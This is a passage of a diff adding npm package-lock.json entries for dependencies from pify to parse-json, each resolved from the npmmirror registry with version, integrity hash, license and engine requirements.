"version": "3.0.0", + "resolved": "https://registry.npmmirror.com/pify/-/pify-3.0.0.tgz", + "integrity": "sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/local-pkg": { + "version": "0.4.3", + "resolved": "https://registry.npmmirror.com/local-pkg/-/local-pkg-0.4.3.tgz", + "integrity": "sha512-SFppqq5p42fe2qcZQqqEOiVRXl+WCP1MdT6k7BDEW1j++sp5fIY+/fdRQitvKgB5BrBcmrs5m/L0v2FrU5MY1g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmmirror.com/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "license": "MIT" + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmmirror.com/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.once": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/lodash.once/-/lodash.once-4.1.1.tgz", + "integrity": "sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==", + "dev": true, + "license": "MIT" + }, + "node_modules/log-symbols": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/log-symbols/-/log-symbols-4.1.0.tgz", + "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^4.1.0", + "is-unicode-supported": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-update": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/log-update/-/log-update-4.0.0.tgz", + "integrity": "sha512-9fkkDevMefjg0mmzWFBW8YkFP91OrizzkW3diF7CpG+S2EYdy4+TVfGwz1zeF8x7hCx1ovSPTOE9Ngib74qqUg==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-escapes": "^4.3.0", + "cli-cursor": "^3.1.0", + "slice-ansi": "^4.0.0", + "wrap-ansi": "^6.2.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-update/node_modules/slice-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/slice-ansi/-/slice-ansi-4.0.0.tgz", + "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/slice-ansi?sponsor=1" + } + }, + "node_modules/log-update/node_modules/wrap-ansi": { + "version": "6.2.0", + "resolved": "https://registry.npmmirror.com/wrap-ansi/-/wrap-ansi-6.2.0.tgz", + "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/loupe": { + "version": "2.3.7", + "resolved": "https://registry.npmmirror.com/loupe/-/loupe-2.3.7.tgz", + "integrity": "sha512-zSMINGVYkdpYSOBmLi0D1Uo7JU9nVdQKrHxC8eYlV+9YKK9WePqAlL7lSlorG/U2Fw1w0hTBmaa/jrQ3UbPHtA==", + "dev": true, + "license": "MIT", + "dependencies": { + "get-func-name": "^2.0.1" + } + }, + "node_modules/lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmmirror.com/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/magic-string": { + "version": "0.30.17", + "resolved": "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.17.tgz", + "integrity": "sha512-sNPKHvyjVf7gyjwS4xGTaW/mCnF8wnjtifKBEhxfZ7E/S8tQ0rssrwGNn6q8JH/ohItJfSQp9mBtQYuTlH5QnA==", + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0" + } + }, + "node_modules/map-stream": { + "version": "0.1.0", + "resolved": "https://registry.npmmirror.com/map-stream/-/map-stream-0.1.0.tgz", + "integrity": "sha512-CkYQrPYZfWnu/DAmVCpTSX/xHpKZ80eKh2lAkyA6AJTef6bW+6JpbQZN5rofum7da+SyN1bi5ctTm+lTfcCW3g==", + "dev": true + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/memorystream": { + "version": "0.3.1", + "resolved": "https://registry.npmmirror.com/memorystream/-/memorystream-0.3.1.tgz", + "integrity": "sha512-S3UwM3yj5mtUSEfP41UZmt/0SCoVYUcU1rkXv+BQ5Ig8ndL4sPoJNBUJERafdPb5jjHJGuMgytgKvKIf58XNBw==", + "dev": true, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true, + "license": "MIT" + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmmirror.com/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmmirror.com/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "dev": true, + "license": "MIT", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmmirror.com/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmmirror.com/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmmirror.com/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/minipass": { + "version": "7.1.2", + "resolved": "https://registry.npmmirror.com/minipass/-/minipass-7.1.2.tgz", + "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/mitt": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/mitt/-/mitt-3.0.1.tgz", + "integrity": "sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==", + "license": "MIT" + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/muggle-string": { + "version": "0.3.1", + "resolved": "https://registry.npmmirror.com/muggle-string/-/muggle-string-0.3.1.tgz", + "integrity": "sha512-ckmWDJjphvd/FvZawgygcUeQCxzvohjFO5RxTjj4eq8kw359gFF3E1brjfI+viLMxss5JrHTDRHZvu2/tuy0Qg==", + "dev": true, + "license": "MIT" + }, + "node_modules/nanoid": { + "version": "3.3.10", + "resolved": "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.10.tgz", + "integrity": "sha512-vSJJTG+t/dIKAUhUDw/dLdZ9s//5OxcHqLaDWWrW4Cdq7o6tdLIczUkMXt2MBNmk6sJRZBZRXVixs7URY1CmIg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true, + "license": "MIT" + }, + "node_modules/natural-compare-lite": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/natural-compare-lite/-/natural-compare-lite-1.4.0.tgz", + "integrity": "sha512-Tj+HTDSJJKaZnfiuw+iaF9skdPpTo2GtEly5JHnWV/hfv2Qj/9RKsGISQtLh2ox3l5EAGw487hnBee0sIJ6v2g==", + "dev": true, + "license": "MIT" + }, + "node_modules/nice-try": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/nice-try/-/nice-try-1.0.5.tgz", + "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/nopt": { + "version": "7.2.1", + "resolved": "https://registry.npmmirror.com/nopt/-/nopt-7.2.1.tgz", + "integrity": "sha512-taM24ViiimT/XntxbPyJQzCG+p4EKOpgD3mxFwW38mGjVUrfERQOeY4EDHjdnptttfHuHQXFx+lTP08Q+mLa/w==", + "dev": true, + "license": "ISC", + "dependencies": { + "abbrev": "^2.0.0" + }, + "bin": { + "nopt": "bin/nopt.js" + }, + "engines": { + "node": "^14.17.0 || ^16.13.0 || >=18.0.0" + } + }, + "node_modules/normalize-package-data": { + "version": "2.5.0", + "resolved": "https://registry.npmmirror.com/normalize-package-data/-/normalize-package-data-2.5.0.tgz", + "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "hosted-git-info": "^2.1.4", + "resolve": "^1.10.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" + } + }, + "node_modules/normalize-package-data/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmmirror.com/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm-run-all": { + "version": "4.1.5", + "resolved": "https://registry.npmmirror.com/npm-run-all/-/npm-run-all-4.1.5.tgz", + "integrity": "sha512-Oo82gJDAVcaMdi3nuoKFavkIHBRVqQ1qvMb+9LHk/cF4P6B2m8aP04hGf7oL6wZ9BuGwX1onlLhpuoofSyoQDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^3.2.1", + "chalk": "^2.4.1", + "cross-spawn": "^6.0.5", + "memorystream": "^0.3.1", + "minimatch": "^3.0.4", + "pidtree": "^0.3.0", + "read-pkg": "^3.0.0", + "shell-quote": "^1.6.1", + "string.prototype.padend": "^3.0.0" + }, + "bin": { + "npm-run-all": "bin/npm-run-all/index.js", + "run-p": "bin/run-p/index.js", + "run-s": "bin/run-s/index.js" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/npm-run-all/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm-run-all/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm-run-all/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/npm-run-all/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true, + "license": "MIT" + }, + "node_modules/npm-run-all/node_modules/cross-spawn": { + "version": "6.0.6", + "resolved": "https://registry.npmmirror.com/cross-spawn/-/cross-spawn-6.0.6.tgz", + "integrity": "sha512-VqCUuhcd1iB+dsv8gxPttb5iZh/D0iubSP21g36KXdEuf6I5JiioesUVjpCdHV9MZRUfVFlvwtIUyPfxo5trtw==", + "dev": true, + "license": "MIT", + "dependencies": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + }, + "engines": { + "node": ">=4.8" + } + }, + "node_modules/npm-run-all/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/npm-run-all/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm-run-all/node_modules/path-key": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/path-key/-/path-key-2.0.1.tgz", + "integrity": "sha512-fEHGKCSmUSDPv4uoj8AlD+joPlq3peND+HRYyxFz4KPw4z926S/b8rIuFs2FYJg3BwsxJf6A9/3eIdLaYC+9Dw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm-run-all/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmmirror.com/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/npm-run-all/node_modules/shebang-command": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/shebang-command/-/shebang-command-1.2.0.tgz", + "integrity": "sha512-EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==", + "dev": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm-run-all/node_modules/shebang-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/shebang-regex/-/shebang-regex-1.0.0.tgz", + "integrity": "sha512-wpoSFAxys6b2a2wHZ1XpDSgD7N9iVjg29Ph9uV/uaP9Ex/KXlkTZTeddxDPSYQpgvzKLGJke2UU0AzoGCjNIvQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm-run-all/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm-run-all/node_modules/which": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/npm-run-path": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/nth-check": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/nth-check/-/nth-check-2.1.1.tgz", + "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0" + }, + "funding": { + "url": "https://github.com/fb55/nth-check?sponsor=1" + } + }, + "node_modules/nwsapi": { + "version": "2.2.18", + "resolved": "https://registry.npmmirror.com/nwsapi/-/nwsapi-2.2.18.tgz", + "integrity": "sha512-p1TRH/edngVEHVbwqWnxUViEmq5znDvyB+Sik5cmuLpGOIfDf/39zLiq3swPF8Vakqn+gvNiOQAZu8djYlQILA==", + "dev": true, + "license": "MIT" + }, + "node_modules/object-inspect": { + "version": "1.13.4", + "resolved": "https://registry.npmmirror.com/object-inspect/-/object-inspect-1.13.4.tgz", + "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.assign": { + "version": "4.1.7", + "resolved": "https://registry.npmmirror.com/object.assign/-/object.assign-4.1.7.tgz", + "integrity": "sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0", + "has-symbols": "^1.1.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/optionator": { + "version": "0.9.4", + "resolved": "https://registry.npmmirror.com/optionator/-/optionator-0.9.4.tgz", + "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0", + "word-wrap": "^1.2.5" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/ospath": { + "version": "1.2.2", + "resolved": "https://registry.npmmirror.com/ospath/-/ospath-1.2.2.tgz", + "integrity": "sha512-o6E5qJV5zkAbIDNhGSIlyOhScKXgQrSRMilfph0clDfM0nEnBOlKlH4sWDmG95BW/CvwNz0vmm7dJVtU2KlMiA==", + "dev": true, + "license": "MIT" + }, + "node_modules/own-keys": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/own-keys/-/own-keys-1.0.1.tgz", + "integrity": "sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==", + "dev": true, + "license": "MIT", + "dependencies": { + "get-intrinsic": "^1.2.6", + "object-keys": "^1.1.1", + "safe-push-apply": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-map": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "aggregate-error": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/package-json-from-dist": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz", + "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", + "dev": true, + "license": "BlueOak-1.0.0" + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-json": { + "version": "4.0.0", + 